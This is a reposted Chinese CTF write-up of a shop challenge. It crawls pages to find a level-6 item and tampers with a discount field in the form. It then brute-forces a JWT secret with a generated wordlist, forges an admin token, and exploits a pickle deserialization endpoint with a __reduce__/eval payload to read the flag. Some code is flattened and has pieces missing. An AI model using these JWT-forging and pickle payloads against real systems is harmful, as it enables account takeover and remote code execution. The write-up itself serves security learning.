这里直接利用 python 写一个脚本爬取
# -*- coding: UTF-8 -*-
# Time : 2022/11/14 10:37
# FILE : rangeLv6.py
# PROJECT : range.py
# Author : kkk
import time
from lxml import etree
quest# 定义请求
def requestUrl(i):url = ":81/shop?page=" + str(i)res = quest.urlopen(url).read().decode('utf-8')return resdef check(content, i):tree = etree.HTML(content)res = tree.xpath("/html/body//img[@class='lv']/@src")for item in res:if ('lv6' in item):print(i)return Truereturn Falseif __name__ == '__main__':print(")for i in range(1, 1000):if (i % 10 == 0):# 防止请求太频繁time.sleep(0.5)if(check(requestUrl(i), i)):break
发现 lv6 商品在 181 页:
点击购买再点击结算,回显操作失败,查看账户余额发现是金额不够
查看优惠券附近的表单,发现折扣写在表单中:
直接修改折扣值,乘以 0.00000 很多个 08
点击结算后虽然成功了,但是需要 admin 才能查看
看到这个一下就能想到垂直越权,所以直接刷新页面抓包
发现 JWT token
我们打开jwt 解密网站将其解密
发现用户是我刚刚注册的用户
我们只要将 username 的值修改为 admin 应该就可以绕过
但是我前两次用的字典都爆破失败了,所以这里写个脚本针对性生成密钥字典用来爆破
# _*_ utf-8 _*_
# Time : 2022/11/14 12:12
# FILE : keyFuzz.py
# PROJECT : range.py
# Author : kkk# 关键词 ikun
# 利用库生成字典
import itertools as itsif __name__ == '__main__':for i in range(1, 7):words = "1ikunIKUN"a = its.product(words, repeat=i)fp = open(", "a")for i in a:fp.write("".join(i))fp.write("".join("n"))fp.close()
生成的字典中包含 1ikunIKUN
字符串从一位到七位的所有组合
成功爆破出 key 为 1Kun
我们将密钥填入,并且把 username 修改为 admin
复制得到的 jwt 到数据包中替换原来的 jwt 并且发送
伪造成 admin 成功进入该页面
我们点击 一键成为大会员
页面没有变化,那么我们看该页面源码,发现了网站备份
在网站源码搜索该页面地址,发现路由指向 adminhandler
进入该目录,打开 admin 文件,发现接收了一个叫 become 的值
并且进行了反序列化,即可判断此处存在反序列化漏洞
再次点击 一键成为大会员
并且抓包,发现 become
通过反序列化的代码:
def post(self, *args, **kwargs):try:become = _argument('become')p = pickle.loads(urllib.unquote(become))der('form.html', res=p, member=1)except:der('form.html', res='This is Black Technology!', member=0)
我们可以构造 payload 读取 flag,先用 pickle 进行序列化,然后再 URL 编码
生成 payload 代码:
# -*- coding: UTF-8 -*-
# Time : 2022/11/14 17:26
# FILE : payload.py
# PROJECT : range.py
# Author : kkkimport pickle
import urllibclass payload(object):def __reduce__(self):return (eval, ("open('/', 'r').read()", ))a = pickle.dumps(payload())
a = urllib.quote(a)
print(a) # 序列化然后再编码
在 kali 中用 python2 运行:
将 become 替换成 payload
成功读到 flag
本文发布于:2024-01-31 21:20:32,感谢您对本站的认可!
本文链接:https://www.4u4v.net/it/170670723231433.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
留言与评论(共有 0 条评论) |